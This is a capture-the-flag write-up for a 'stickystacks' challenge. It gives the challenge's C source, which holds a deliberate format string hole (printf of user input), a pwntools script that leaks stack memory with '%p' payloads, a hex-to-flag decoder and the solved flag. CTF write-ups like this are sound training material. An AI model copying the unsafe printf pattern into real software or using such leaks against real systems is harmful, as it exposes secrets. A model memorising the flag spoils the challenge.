This was a simple "leak the flag from the stack" challenge, and for this one the "gadget" would be a format string vulnerability.  I struggled for a bit despite quickly getting the right idea since %x and %d were not working (I was getting parts of the flag but it felt like the values were all being cut off). I even tried %ld and %lld but since we had a 5 character limit this did not work as expected.
Thankfully after remembering about and switching to %p it was smooth sailing.
Provided source code:```c#include <stdio.h>#include <stdlib.h>#include <string.h>
typedef struct Secrets {    char secret1[50];    char password[50];    char birthday[50];    char ssn[50];    char flag[128];} Secrets;
int vuln(){    char name[7];    Secrets boshsecrets = {        .secret1 = "CTFs are fun!",        .password= "password123",        .birthday = "1/1/1970",        .ssn = "123-456-7890",    };
    FILE *f = fopen("flag.txt","r");    if (!f) {        printf("Missing flag.txt. Contact an admin if you see this on remote.");        exit(1);    }    fgets(&(boshsecrets.flag), 128, f);
    puts("Name: ");
    fgets(name, 6, stdin);
    printf("Welcome, ");    printf(name);    printf("\n");
    return 0;}
int main(){    setbuf(stdout, NULL);    setbuf(stderr, NULL);
    vuln();
    return 0;}```
My exploit code:```pythonfrom pwn import *
context.terminal = ['gnome-terminal', '--', 'bash', '-c']context.binary = elf = ELF('./stickystacks')
def conn():    if args.REMOTE:        return remote("shell.actf.co", 21820)    else:        return process()
def send_and_get_data(inp):    r = conn()    r.recvline()    # payload = b'%35$d'    payload = inp    r.sendline(payload)    r.recvuntil(b'Welcome, ')    val = r.recvline().strip()    r.close()    return val
idk = []
go = context.quietfunc(send_and_get_data)
for i in range(33, 43):    payload = f"%{i}$p"
    data = go(payload)    # For %d    # data = struct.pack('!l', int(data))    print(data, payload)    # if data != '(nil)':    #     data = bytes.fromhex(data[2:].decode())[::-1]    #     print('yay!', data)    idk.append(data)
print(idk)```
A helper script to convert hex values to the flag:```pythondata = [    '6c65777b66746361',    '61625f6d27695f6c',    '6c625f6e695f6b63',    '5f7365795f6b6361',    '6b6361625f6d2769',    '5f6568745f6e695f',    '65625f6b63617473',    '3439323135623963',    '3438363737646165',    '0a7d333935663161']
s = ''
for d in data:    s += bytes.fromhex(d)[::-1].decode()
print(s)```
Flag: `actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}`
